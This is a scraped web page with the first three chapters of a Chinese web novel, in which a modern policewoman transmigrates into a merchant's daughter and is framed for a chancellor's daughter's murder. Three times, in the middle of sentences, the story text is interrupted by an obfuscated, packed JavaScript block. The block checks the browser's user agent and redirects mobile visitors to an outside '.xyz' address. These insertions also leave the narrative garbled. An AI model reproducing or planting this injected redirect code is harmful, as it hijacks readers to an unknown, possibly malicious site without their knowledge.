《穿到古代我微信步数第一》 1. 第 1 章 模糊中,路锦瞳觉得很冷。 寒意争先恐后地顺着骨头缝钻,她意识尚未清醒,手不自觉地抱住双臂,将身体蜷缩起来瑟瑟发抖。 路锦瞳睁开眼,她狠狠地打了个冷战,寒意似乎被逼出去一点。撑着胳膊坐起身,只觉嗓子干裂,她揉着太阳穴,哑声道:“有水么?” 末了,又补充一句:“怎么样,人抓到了么?” 没有人回答她,只有不知从哪来的穿堂风经过,光影摇曳。 身上的衣服是湿的,像是刚从水里被捞出来,随着那阵风过去,她感到更冷了,额头也有些发烫。 她感觉有点不对劲。 她将揉脸的手缓缓放置眼前,映入眼帘的是一双纤细白嫩的手,并不是那双她所熟悉的带有薄茧的手。 路锦瞳僵着脖子四处看看,发现这里并不是医院,也不是熟悉的地方。周围一片昏暗,唯有一支蜡烛点着,勉勉强强照亮了房间布局。 身下是潮湿的干草,除此之外空空荡荡,蜡烛点在一个小灯架上,路锦瞳只能看到四面都是墙,其中一面有小小的窗口,却有铁栏围着,残月映在窗台,怎么看怎么像曾经在古装剧中看到的牢房。 路锦瞳重新躺了回去,心中默数了十秒睁开,什么都没有变,烛火依旧在面前左右摇摆。 无奈,她只好又把目光移回身上,这具身体明显不是她的,莫非……路锦瞳锁起眉头。 她分明记得自己应该是死了,绑匪那一刀刺下,她失血过多没有等来救援。 路锦瞳本是一名刑警,临下班时接到报案,有人遭遇了绑架,绑匪要求一百万赎金,不许报警,否则就撕票。他们根据绑匪提供的地点放了赎金,随后跟踪上去,将控制人质的仓库包围。 路锦瞳带人事先踩点,发现绑架人质的那伙人手里都有家伙,有些面孔非亚裔,皆训练有素,结合报案人的身份,是外籍雇员兵的可能性很大。 在摸清仓库布局以及绑匪人数武器数量,并针对性做出计划后,她携队员潜进仓库救人。 仓库爆发枪战,路锦瞳带人质逃出,欲往大部队方向过去,却在半路被追上来的绑匪伏击,她给人质指明方向,单独引开绑匪。与此同时仓库爆炸,她在混乱中被绑匪刺了一刀,伤口很深,同事们恐怕也因为爆炸措手不及,没有人顾及的到她。 她爬了一段距离,就再也爬不动了,鲜血如喷泉似的往外涌,路锦瞳眼前阵阵发黑,她感到自己的身体一寸寸冷下去,最终黑暗灭顶。 *** 根据多年看小说的经验,她大概是穿越了,还是魂穿,在现代没撑住,恰好这个时间段的原身也遇到危险寄了,机缘巧合之下,她涉过千年时光,在原身身上活了过来。 现在首先要搞清楚发生了什么,路锦瞳皱着眉头想了又想,只记得原身是在河边被人推下去的,再醒来就在这里了。 原身为什么会被关入大牢?她在这一段记忆中没有发现原身牵扯到什么事啊。正常情况下,就算是原身真做了什么,那也是先叫医生过来把命保住好之后审问,而非丢在这里不管吧? 难道是还遗漏了什么?路锦瞳正要回忆一下,就听外面传来脚步声,有人朝这边过来,衙役打开牢门:“大人要审问你。” 路锦瞳捡起放在一旁的帷帽戴上,故作惊恐:“为什么把我关在这里?” 大周非常封建,女子轻易不能出门,若非要外出,必须用帷帽遮脸,戴面纱都不能,否则便是失德,要叫人指指点点的,在自家府中见外男也是同样。 衙役并不回答,只重复:“大人要审问你。” 从他口中是什么也问不出了,路锦瞳放弃。她跟着衙役进了一个屋子,一个矮胖中年男人坐在案前:“路小姐。” 路锦瞳向他点点头,喊了声大人,算是打过招呼,在对面的椅子上坐下。 这就是京城府衙知县庞载,他笑起来一副慈眉善目,很容易让人卸下心防:“路小姐,你落水后本该送你回府的,只是在你离开松风阁后,宋云知小姐遇害,鉴于你是最后一位与她见面的人,本官便将你列入嫌疑人名单,接下来要进行一些提问。” “宋小姐遇害了?”路锦瞳惊道,“我走的时候她还是好好的。”原身今日出门就是去见了宋云知,难怪会被抓进牢中。 庞载道,“不错,所以路小姐要好好回答。” “这是自然,”路锦瞳咳嗽一声,“我能理解您破案心切,但您是不是也该关注一下我的身体状况。在被你们带回来之前,我刚落水被人救上来,从鬼门关走了一遭,就算您怕我跑掉不愿送回府,也该找个像样的地方安置我吧,将我扔在牢房您就不怕我永远也醒不过来,无法接受问话么?” 这位庞大人刚说了,原身只是嫌疑人之一,此番是例行问询,并未定罪,那么在连个证据都没有的情况下,把半死不活的人丢在牢房中,是不是太过分了?原身好歹是京城首富的独生女,知府这种官不应该客客气气地捧着么? 路锦瞳心中疑窦丛生。 庞载一怔,他卡了一卡,随即笑开:“路小姐真会开玩笑,本官是个粗人,这些小事难免会忽视,并非有意,实在抱歉,不如之后叫人给你换个舒服点的地方?” 路锦瞳道:“不必了,大人还是尽快问完,洗清嫌疑好让我回府吧。本姑娘身娇体弱,实在是在牢狱中待不久。” “恐怕要让你失望了,路小姐。”庞载依旧是笑眯眯的,“宋云知小姐是丞相大人的爱女,在没有查出真相之前,所有与案情有关联的人都不能放走。路小姐要么赶紧承认,要么积极配合,等真凶落网,自然就能走了。” 这人讲话太怪了。路锦瞳暗暗皱眉:“大人说笑,我从没说过不配合,您有什么想问的请随意。” 庞载向旁边的人摆摆手,示意他可以开始记录了:“离开松风阁后你做了什么,又是如何落水的?” 路锦瞳道,“我与宋小姐分开后回府,路上见河对岸的花开得不错,打算去采一些,桥有些狭窄车夫没跟着,我的丫鬟原本跟着我一起摘,有小孩过来请我们帮忙去拿树上的风筝,丫鬟去了,我摘花的时候有人从背后推了我。” 庞载问:“这次与宋小姐会面,是她约你,还是你约她?” “她约我。” “据调查,你与宋小姐的关系并不是很好。她为什么要约你,你们聊天的时候说了什么?” 在原身的记忆中,宋云知与她关系的确不好。 原身也叫路锦瞳,是京城首富路钊的唯一一个女儿,既是独生女,那肯定是捧着长大,这种人家很容易教出一种孩子——没长脑子以自我为中心骄纵蛮横大小姐。 原身没什么朋友,大家都不喜欢蠢的,有人成心折腾她,把她当小跟班,出头鸟和没脑子的事交由她去做。这导致原身人缘不好,大家见了都很嫌弃,她却不自知,还如同孔乙己似的争辩,充作旁人的笑点。 宋云知是丞相家的千金,虽是庶出,却深得宠爱,在贵女圈众星捧月,她最大的乐趣就是耍原身玩。原身也不喜欢比她还脾气大的家伙,两人互相看不顺眼。 前些日丞相府举办宴会时原身曾与宋云知大吵过,好多人都拉不住,这事短短半天传遍了整个京城,原身又成为了茶余饭后的谈资,庞载会知道也正常。 两个互相看不顺眼的人为什么会突然相约茶楼?明明在宴会上还发誓再不来往,路锦瞳陷入沉思。 “路小姐,请回答。”庞载敲敲桌子,“不要想着能找理由诓骗本官。” “……”路锦瞳被迫打断思绪,她抬眼看向庞载,目光带有犀利,庞载对上她的眼睛,想说下去的话有点讲不出来了。 路锦瞳慢慢道:“大人,我刚落水就被你们带回衙门,连口热水都没有,现在已有些发热了,您在染了风寒之后还能思维灵活么?” 庞载没料到一个十几岁的小姑娘居然敢在刑房中与他叫板,他从前也不是没有审问过女犯人,其中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972493|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不乏贵女,无一例外都被吓得瑟瑟发抖,像路锦瞳这般反问的还是少数。 他一下子没转过弯来:“什么思维?” 路锦瞳默了默:“在发烧很不舒服的情况下,我无法直接回答您的问题,需要好好想一想,以免出错。” 她的猜测在逐步得到印证,这个知县想把宋云知的死扣在她头上。 她皱起眉,回忆起宋云知今日邀她去茶楼,她看着非常慌乱,都顾不上摆高高在上的仪态。她急切道:“他们一定发现我们听到了,否则不会派人来刺杀,丞相府守卫森严,杀手究竟是怎么进来的!” 在今日遇害前,宋云知曾遭到刺杀,那么这两件事是否能连起来呢?因为刺杀未成,所以今天继续? 宋云知说“他们一定发现我们听到了”,由此可知,原身和宋云知一起听到了什么事,这件事关系重大,否则不会急于灭口。 这么说来,原身被推入湖是否也有关联?她去河边采花,丫鬟被支开,孤身一人正是下手的好时机。原本以为就此结束,可将她打捞上来之后,发现居然还有气,于是临时买通县令让他把锅扣到路锦瞳身上,正好把两个听到秘密的人一网打尽? 只开了一个头,剩下的东西似乎是水到渠成,路锦瞳没怎么费脑就想下去了。 庞载的声音再次响起:“路小姐,还没有想好么?本官已经给够你时间了。” 路锦瞳只好在头脑风暴间隙抽空敷衍他:“宋小姐为何邀我去茶楼我也不知,但我去了。那次争吵过后我爹娘骂了我一顿,说我哪来的胆子和丞相千金斗气,哪怕是为了我爹的生意我也必须去道歉。” 庞载皱眉道:“你是当本官傻么?宋小姐会主动去找你?你最好老实交代!” “究竟是不是她主动找我,大人大可去问宋小姐的贴身丫鬟,她那日随着宋小姐一同去的松风阁,帖子也是她递的,我为何要撒谎?”路锦瞳很淡定。 除了与宋云知的谈话内容是胡诌的之外,她说的都是实话,就算要查证也查不出问题。 庞载一拍桌子:“宋小姐的丫鬟也遇害了,。本官劝你最好赶快招了,不要再拿那些莫须有的东西来充当证据拖延时间。本官是给你父亲面子才没给你上刑,如果你依旧冥顽不灵,本官只好不客气了!” 他面色愠怒,连一旁做笔录的都被他吓了一跳,路锦瞳却不为所动:“敢问大人,您的证据呢?” “什么?”庞载皱眉。 路锦瞳背向后靠,翘起二郎腿来,这是她审问犯人的一贯姿势:“听大人所言,似乎是已经能确定杀害宋小姐的凶手就是我,否则不会总是让我招,更不会否认我的证词。既然如此,那我要问问大人,您怎么断定我就是凶手?有人证还是物证?亦或你找到了凶器,能断定它属于我?” 庞载只微愣,他不是什么省油的灯,好歹混迹官场多年,岂会被路锦瞳几句话吓住:“在场的人除了路小姐和你的丫鬟之外都死了,丫鬟是你自己的人,本官怎么知道你们有没有串通说谎?从你离开茶楼到宋小姐及丫鬟被发现死亡统共不超过一炷香,嫌疑最大的就是你,本官审你还审错了?” “大人审问当然没错,但我搞不懂,您为什么笃定是我做的?我与宋小姐有什么仇怨,非要致她于死地?”路锦瞳反问。 庞载面上严肃,可路锦瞳分明看到他的脚尖逐渐偏向门口方向,这种现象很常见,心理学上讲,此种情况出现表明当事人不想再继续这场谈话,在她以往审讯犯人时,这种现象又意味着犯人心中有鬼,想早些结束谈话离开。 庞载做这个动作意味着什么呢?是以为恐吓几句她就会乖乖认罪,所以没花什么心思,结果与预想不同,他慌了? 这到底是谁在审问谁?怎么犯人经常做的举动跑去对方身上了。 庞载被她气笑了:“路小姐巧舌如簧,本官说不过你。那就再给你看一样东西吧。” 他摸出一沓纸,叫人给路锦瞳拿去:“好好看看。” 2. 第 2 章 后一句他刻意加重了音,路锦瞳接过那沓纸,她对古文没什么研究,只勉勉强强能看懂一些简单的字,从而猜测。 写这东西的人还带了连笔,路锦瞳看了一遍,认清了一部分,“路钊”、“生意”等等,这是从哪里拿到了路钊的把柄,要以此威胁她认罪? 额头已经渐渐烧起来了,她吞吐出的气息都是滚烫,头疼欲裂。路锦瞳呼出一口气,闭了闭眼,试图将涣散的神智拉回来:“我不明白您的意思。” 庞载道:“本官只是想告诉你,你父亲做生意的这些年中饱私囊了不少,每年上交的税也有大量缺失。把这些交上去,你们父女就可以在狱中相聚了。” 这是直接打明牌了?路锦瞳沉默下来。庞载看她黯淡下去的眼睛,以为计划通,得意洋洋道:“本官好心提点你,若你把该招的招了,你的父亲一定会没事,往后他若是还想再贪,那也是随意的。” “多谢大人的美意。”路锦瞳闷闷的答,庞载还没能露出得逞的笑来,她就又道:“可我没杀过人,我父亲也没有贪污过,您要我招什么呢?” 庞载的笑意凝在脸上。 好半晌,他才又重新笑出来,连笑了好一阵,才长叹口气:“敬酒不吃吃罚酒啊,那么,路小姐,本官无法再给你体面了。” 他眼中露出阴狠:“来人,给她……” “上刑”二字还未吐出,就有衙役扑进来:“大人,大理寺卿到了。” 庞载脸上现出不耐烦:“让他先等着,本官稍后过去,来人,先给她……” 他这次的话也没有机会讲完,有人从推开的那扇门进来,沉声道:“案件紧急,本官直接进来了,庞大人不会介意吧?” 庞载面色一僵,随即转换成一张笑脸:“沈大人大驾光临,下官未能出去迎接,还望大人不要怪罪,又怎会介意。” 他狗腿道:“不知大人有何事,我们出去聊?” 沈知安在室内环视一眼:“就在此处便可,本官是为丞相之女遇害案来的。此人是嫌疑人?” 后一句是向路锦瞳问的,庞载头上冒出冷汗,他不想让路锦瞳与沈知安对上,事情与他想象的背道而驰,他努力的想拉回正轨,只要这次能成,升官发财不是问题,绝不能让姓沈的搅和了。 与庞载不同,路锦瞳在看到沈知安时却激动起来,她陷入被动局面,什么办法都想不到,眼下境况对她太不利,正抓耳挠腮,救星就送上门了。 这位大理寺卿在民间有“包青天”之称,刚正不阿铁面无私,很多人都想拉拢他,但他从不站队,也不收礼,更不与奸佞交好,用一句话来形容,就是“茅坑里的石头,又臭又硬”。 可正是有这样的人存在,才使得世间少了许多冤假错案,多了许多公平。 路锦瞳眼睛都亮了,她规规矩矩的行了个礼,是从电视剧中学来的,也不知对不对:“大人。” 路锦瞳可不许庞载先给她扣帽子,多拖延一刻她就危险多一分,语速极快道:“小女名为路锦瞳,正是嫌疑人之一。方才庞大人审问我,请问,能换个人审么?庞大人太凶了,小女从河里被捞出来就被带来这里,本就有些发热,庞大人一吓,更是脑中一团乱,不知该怎么回答。” 庞载:“……” 果然不是好惹的,早知道刚刚直接上刑了,还费那么多话干什么?失策! 沈知安瞧她的脸,面色发红不似作假,加上为官多年,熟知庞载是什么样的人,道:“将记录给我看看。” 做笔录的衙役面色尴尬,余光瞥向庞载,庞载事先就告诉他什么都不用记,之后会有写好的笔录送来,他一直摸鱼来着,一字未动啊。 庞载尚未说话,沈知安身边跟着的侍卫就过去瞅了一眼,很大声道:“大人,什么都没记。” 沈知安目光移向庞载,庞载抹汗道:“下人办事不利,大人见笑,下官这就让他离开。” 沈知安定定看他片刻,目光似乎将他心思洞穿,庞载被看得心中发虚,支支吾吾说不出话。沈知安道:“圣上下旨,此案移交大理寺,你不用管了。” 庞载惊了:“可……” 沈知安不想和他多说:“嫌疑人除了她还有谁,本官一并带回大理寺。” 路锦瞳松了口气,去大理寺总比在这里好。 旨意是皇帝下的,庞载不敢干涉,只能不情不愿的送走有关嫌疑人,路锦瞳在其中。夜里凉风阵阵,她身上的衣服本就未干,此时一吹,更是冻得连打激灵,路锦瞳觉得自己快过去了。 同为嫌疑人的一位姑娘见她脸色实在是红的吓人,脱下身上的披风给她,路锦瞳道了声谢披上,好歹暖和了一点。 大理寺待遇并没有府衙好,牢房窗口更小,血腥味很浓重,寒气更甚。路锦瞳被带到走廊的尽头最后一间牢房,狱卒一言不发离开,她席地而坐,熟练的把自己蜷成一团。 好像烧得更厉害了,路锦瞳哆哆嗦嗦。 沈知安是个好官,她疑似被陷害可以告诉他,现在她要做的是回忆原身和宋云知究竟听到了什么秘密,值得那些人大费周章。 对了,路锦瞳突然一个激灵清醒过来,那日宋云知曾提到过三皇子,还有“计划”、“泄密”什么的,莫非这件事与三皇子有关? 让她来大胆的猜测一下,难道是有人在密谋谋害三皇子,恰巧被宋云知和原身听到,为了防止计划被泄露,他们被告发,所以要杀掉她们两个灭口? 杀害宋云知和推原主进湖的,应该是同一拨人,只要想起当时在哪里听到的那段密谋,以及说话的人是谁,差不多就能有凶手的方向。 到底是在哪里听到的呢?这事涉及到夺嫡之争,如此炸裂,原身一点印象都没有?该不会当时在听的有两个,真正听进去的只有宋云知一个人吧? 原身到底在干什么啊? 路锦瞳无能狂怒,不知不觉睡过去了。 ‘ 她睡得不是很安稳,依然感到浑身发冷,半梦半醒间听到有脚步来来去去,约莫是沈知安在提审犯人。她觉得嗓子痛得要裂开,脑袋要爆炸,脖颈好像被什么勒着,喘不上气。 等等,喘不上气? 路锦瞳猛地睁眼,有人用绸带在勒她的脖子,力气极大,她腹腔中氧气耗尽无法呼吸,手指凭借身体本能向后抓,却无济于事。 她的生活除了案子之外还是过于安逸了,一点防范意识都没有,加上在病中,居然干脆地睡过去了。路锦瞳眼前发黑,尖利的指甲在身后人手上抓出鲜红。 纷乱的脚步声远远传来,牢门被打开,身后的人被扑上来的衙役制住。路锦瞳狼狈的摔在地上,帷帽掉下,她剧烈的咳嗽着,到了后面几乎是干呕,视角发红,是眼球充血的症状。 她手足发软地瘫在地上,好半天缓不过来,只能用最后一丝意识强撑着不晕过去。眼前出现了一双白靴,有人蹲下身,递给她一方帕子:“擦擦脸吧。” 路锦瞳伸手接过,用帕子胡乱擦满脸的汗水和生理泪水,帷帽也被递来,她抖着手接过戴上,那人问:“还好吗?” 路锦瞳摆了摆手,沈知安歉意道:“抱歉,是我管教不严,没想到下人中会混进叛徒。” 路锦瞳没力气在意形象了,她找了个舒服的姿势靠在墙上。牢中的人被清出去了,只剩下沈知安和那位给她递帕子的公子。 她发黑的视角慢慢恢复正常,路锦瞳哑声道:“大人,现在您总该相信我是被冤枉的了吧?” 她抬手抹了把脸上的汗,忍住喉间的剧痛:“我再复述一次,与宋云知分开后,我坐马车回府,路上见到河对岸的花好看便下车去采,中途有小孩寻求帮助,说风筝挂树上了,我的丫鬟去帮忙,之后就被推到水里了。再醒来在府衙,庞大人审问我,他拿出我爹贪污的证据逼我认罪,见我不肯认还想用刑,幸亏沈大人来得及时。后来的事你们就都看到了。” 路锦瞳抬头看向那两个人:“我用我自己的性命发誓,没有杀害宋云知,我是不喜欢她,但不至于要杀她。如果我撒谎,那就天打雷劈,永世不得超生。” 这算是很毒的誓了,沈知安点点头:“情况我已知晓。这位是四皇子殿下,就是他怀疑此案不简单,想来找你问话,刚好碰上。” 路锦瞳抽空看了这位四皇子一眼,挺板正的小伙子,原身以前远远见过他,记忆中四皇子容筝是个很随和的人,对下人宽容,脾气也好。 他这回帮大忙了,否则路锦瞳真的要折在这里。路锦瞳稍稍坐直了些,她实在是没有力气,抬抬手指都费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972494|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲,为保证礼数,坐直已经很不容易了:“多谢殿下。” “不用客气。”容筝道,“本宫相信你是清白的,接下来,本宫将与沈大人一同查案,还希望路姑娘能配合,你在这件案子中有着至关重要的作用。” 路锦瞳没有思考便答应下来:“没问题,不过我有一个请求,希望殿下能仔细考虑。” 容筝没在意她的失礼:“姑娘请说。” “请让我一同查案。”路锦瞳道,“我知道我的要求无理,但希望殿下考虑。我此番险些丢命,若查不出真相我也不会放心,请殿下相信,我有辅助办案的能力。当然,若您不同意,也请告诉我一些现场相关,并希望您能带我去现场查看,听听我的意见,对于这些,我还是略有涉猎,说不上精通,总能帮些忙。” 她迫切的想要找到凶手,不想将自己的命、以及原身家人安危交于外人之手,这是他们的职责没错,可这也与她有关,她不太好意思让别人平白管她的事。与其之后万分感谢,不如自己也参与其中。 她言辞恳切,隔着帷纱似乎都能感觉到真诚。容筝默了默,道:“如果本宫不同意,你会不配合么?” 路锦瞳摊摊手:“不会,我不会影响你们的办案。但如果您拒绝,我会很失落。” 容筝笑了一下:“你可以跟在旁边看,适当发表意见,但采不采取要看本宫的意思。” 路锦瞳眼睛一亮,这已经很好了,府衙的捕快都需要考试呢,她可以直接跟着“包青天”办案学习,已经是走了好运。 她扶着墙站起来,这一瞬间,方才险些被勒死、以及还发着高烧似乎都不能阻挡她了,路锦瞳激动道:“那么,我们先资源共享吧,我告诉你们我知道的,你们把现场以及验尸结果告诉我。” 明明刚刚还半死不活的,现下听到案子居然就支楞起来了,容筝有些无奈:“路姑娘,怎么急的人反而是你了,你染了风寒,又险些丧命,应该好好休息,等你恢复过来再参与也不迟。” 路锦瞳觉得有理,她虽有案子查振奋起来了,却也是一阵,说不定等会儿那阵清明过去她就又扑街了,为了能有一个清醒的脑子去琢磨案情,确实该好好休息一下。 她再次由衷感谢:“多谢殿下救我,只是,殿下如何察觉案件有疑点?” 容筝道:“沈大人回来的时候,带回了庞载审问时拿出的你父亲贪污证据,本宫去了解了一下,那份‘证据’是假的,此举像是在逼迫你承认什么,便想着去问问你。” 沈知安点头:“稍后下官会去审问那人,势必问出指使之人是谁。” *** 因为她先前已遭到过一次刺杀,还是重要证人,容筝专门派人把她保护起来,又去路府把她的丫鬟接来。竹月见路锦瞳脖子上一大片淤青,脸色也冻得发青,眼泪没忍住噼里啪啦掉,路锦瞳躺在床上眼冒金星的安慰:“没事哒~我是冰雪女王,我不怕冷。” 竹月吓得不轻,生怕她被烧傻,在郎中看完诊后一阵风似的刮去熬药。 路锦瞳迷迷瞪瞪的泡了个澡,换了干爽的衣裳,一口闷了苦药睡过去。她睡得不太老实,总会不小心碰到脖颈上的伤,中途醒了好几回。 等再次清醒过来已是第三天早晨,烧退了,淤青也稍稍淡下去了些。 竹月守在她身边,连个盹也不敢打,见她醒了连忙迎上来。路锦瞳咽下一口水:“四殿下呢?他有没有说我醒了去哪儿找他?” 竹月道:“殿下让您用过膳后直接去大理寺。” 路锦瞳草草喝了几口粥,把吃揣兜里,容筝专门派了马车在楼下等,她兜着帷帽在车里啃点心。竹月没跟着,接下来很多谈话都涉及案情,无关人等要回避,与其让她去了再回来,不如干脆别过来。 沈知安大约已和门口的侍卫打好招呼,路锦瞳刚一过去,就有人引着她去主殿。沈知安和容筝都面露疲色,正翻看卷宗,路锦瞳想起什么,行了个礼:“殿下,大人,我来了。” 容筝问了几句她的身体,路锦瞳一一答了,搬了个凳子来坐,她将已知的信息全部讲与二人听,末了小心翼翼问上一句:“敢问,三皇子殿下可有出什么事?” “没有。”沈知安摇头,“相反,庞载昨日晚间突发恶疾,病逝于府。” 3. 第 3 章 沈知安看了她一眼:“若你所言不错,恐怕庞载也是被灭口了。” 路锦瞳抿了抿唇:“尸检报告呢?宋云知和她的丫鬟死因是什么?” 沈知安道:“宋小姐死于中毒,她的丫鬟暂未看出死因。” “法……仵作没有在她的身上查出伤痕么?” 沈知安摇摇头:“她的尸体上一点伤痕都没有,如果不是没有呼吸,甚至都看不出她已经死了。” 这就怪了。路锦瞳思忖片刻,随后道:“方便带我去看看丫鬟的尸体么?” 她虽没有法医那么精通,但好歹见过不少尸体,亲眼去看会放心不少,说不定能发现新的东西,什么线索都不要放过嘛。 沈知安做不了主,便看向容筝。容筝放下书卷:“正好本宫也想去看看,一起吧。提前说好,不许乱动,只能看。” 路锦瞳明白自己只是个局外人,肯带着她已经很不错了,不能要求再多,连忙点头如捣蒜。 尸体目前还存放在大理寺,仵作昨日才检验完尸体。丞相夫人老早就来要尸体了,她不想让女儿和下人死后也不得安宁,因为宋云知的死因能确定,就先让她带回去了一个,丫鬟的还留着,容筝以没有找到死因的理由好不容易才留下。 他们到的时候仵作正弯着腰一寸寸在尸体上寻找什么,见他们来连忙行礼,主动汇报进度:“还没找到致命伤,属下打算再找一遍,一个角落都不放过。” 容筝点点头,仵作的副手立刻呈上来尸检报告请他看,路锦瞳也凑上去。宋云知是被下了断肠草,分量很足,死后身体所呈现出的症状与断肠草相符,没有什么疑点。 而丫鬟柳絮的报告上,好几个空格都写着“未检测出伤痕”,就算是因为疾病、中毒,死后尸体上都会留下相应的痕迹,不可能什么都没有。 路锦瞳道:“大人,您有查过头皮么?” 仵作很快明白过来她在说什么:“我正准备检查,刚要把头发剃掉。” 他用小刀将柳絮的头发剃干净,仔细检查过去。路锦瞳看得心痒难耐,她看向容筝:“殿下,我不乱动,凑近点看看成吗?” 容筝刚一点头,她就迫不及待地过去,和仵作一起寻找出血点了。 路锦瞳曾在无数电视剧和小说中看过,有些杀人手法包含针刺,这种方法在现代时很少被使用,因为很多人都分不清哪里是什么穴位,并不知何处致死,故不随意用。在古代可就不一样了,很多练功的人都大致知道什么穴位致命,加上针刺这一方法不容易被看出,人的肉眼有时无法分辨,很容易被忽略,使用率较高。 仵作剃的很干净,但发根尤在,从一堆黑点中寻找一处红点听着容易,做起来难,路锦瞳看得都眼花了,也没能找得出来。 她转过头去揉了揉眼睛,重新伏回去瞧,看完头皮又去看脖颈和脑后,在看到耳后时一怔,连忙去喊仵作:“大人您看,这颗黑痣是不是有点发红?” 仵作把头挤过来看了又看,他逐渐激动起来:“你这么一说,还真是像啊,稍等,我去找工具来,测试是否真是伤口。” 他吩咐下去,让下属去拿些白梅、葱椒、食盐等物件,还搬来火炉,路锦瞳身体到底没完全恢复,站久了有点头晕,她找了个椅子坐下,随口问:“大人,是梅饼验伤法么?” 这是《宋慈洗冤录》中说过的一种验伤方法,能将死者生前遭受击打但死后不易显现的伤痕浮现,没想到这个架空朝代也有。 仵作讶道:“姑娘也懂。没错,那位柳絮姑娘耳后原本就有一颗痣,若伤口覆盖在上面的话确实难以看出,用梅饼验尸法显伤,就能确定死因了。” 这过程有些繁琐,路锦瞳浅浅看了两眼,便去和容筝一起看柳絮和宋云知当时身上携带的东西了,这些才是她的老本行。 沈知安在一旁解说:“丞相府下人的月银不过二两,柳絮身上却带了大面值银票,是个疑点。” 路锦瞳习惯性开始猜想:“是有人让她做什么事么?所以用银两收买她,有可能是在当日上午就见过面,拿到了银票,之后因为宋云知要出门,她没空放起来,一直带在身上,直到遇害……你们都看我干嘛?” 容筝温温道:“原来你不是自夸。” “啊?”路锦瞳懵。 他道:“你之前想加入的时候,不是说略精通么。” 路锦瞳比了个胜利的手势:“那必须,我可是超厉害的!” 连一向严肃的沈知安也被她逗得笑起来,他道:“那之后下官就去排查,看看柳絮有没有什么亲人,有没有收到金银之类的东西。” 他们在这边聊着,仵作那里也有了好消息,他兴高采烈地过来:“殿下,大人,姑娘,有了,那颗黑痣上,真的覆盖着一枚针孔,因为有黑痣的掩盖,属下没能看清楚。果然是年轻人啊,眼神好,不像我,岁数大了,都看不清了。” 在场的另一个看过尸体的年轻人——容筝只微微一笑,什么都没说。 柳絮死因有了头绪,仵作还要做进一步的研究,沈知安则要去查柳絮的事,他们就先分开。路锦瞳一刻也闲不下,坐在马车上还在回忆当时原身从茶楼离开时的每一秒,那段记忆被她自动生成视频,在脑中播放、暂停、播放、暂停。 “去现场看看。”她说,随后又埋进思绪里去。她在原身的记忆中没有发现可疑的人,也就是说,杀害宋云知和柳絮的人不在松风阁。 “这就是在去现场的路上。”容筝道,“本宫猜测,你看完尸体会想去看现场。” *** 松风阁离大理寺有点远,要过好几条街,路锦瞳也不闲着,继续询问容筝案情,两人聊了很久,容筝看她的目光也越来越赞赏。 不过她什么都没发现,自我消化后觉得特别充实,等后知后觉反应过来,才大惊失色:“殿下,请恕民女无礼。” 她完全沉迷案件时会什么都不顾,只着魔似的研究,从前同事和朋友都被她吓到过。虽然她记不起自己当时是什么模样,但应该和中邪差不多,能把人吓一跳那种。 不管刚刚有没有用命令的口吻和人讲话,先道歉认错肯定是没错的。 容筝摇头道:“没事。” 他不知在想什么,只说了两个字就陷进深思中。路锦瞳不好意思打扰他,在马车停下后默默跟着他走。 当时她们选的是三楼的包厢,路锦瞳从进了大门后就完全进入状态,把原身的记忆引出,将自己完全代入,前日的情景在她面前一一浮现。 原身带着竹月直奔三楼,宋云知早就已经等在包厢里了,她看着急得要命,满眼焦灼,见原身来了,急不可耐的起身。她让柳絮和竹月都出去等着,拉着原身急道:“我们要不要把这件事告诉我爹?让他想想办法,或者派人保护我们?我已经遭到刺杀了,若不是侍卫来得及时,我可能就死了!……” 她絮絮叨叨地说着,原身也被她影响的焦躁起来。 “不如,你去告诉你爹吧?”路锦瞳说。 “什么?“容筝没反应过来。 “这种事不是我们能解决的,还不如交给你爹。”她又说。 讲完这话她又沉默下来,用手指摩挲着什么,看手势像是在握着茶杯,可她面前分明什么也没有。 容筝不知道她在干什么,潜意识觉得不应该打断,只好在她对面也坐下来。 “知道了,就知道使唤我。”路锦瞳突然皱起眉,满脸的不高兴,起身将关着的窗户打开,“吹吧,这就不热了。” 她满脸的焦虑,似乎有什么要紧的事。路锦瞳突道:“喝茶。” 容筝小心问:“我么?” “对,喝。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972495|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 容筝端着空气,假抿一口。 沉默片刻,路锦瞳又道:“就这么说定了,你回去告诉你爹,我也告诉我爹,让大人们来商量这件事。” 说着她起身,关上包厢的门离开。 须臾,路锦瞳又推开门走回来,她摇摇头:“凶手可能并没有出现在松风阁。” 这么说着,她视线转向窗外,对面正是一家酒楼。 容筝有些好奇:“你刚刚是在……?” “哦,”路锦瞳恍然,“我在重拟案发现场,只是因为我当时不在,只能模拟在场时的,宋云知和柳絮究竟如何被害无法复原。” 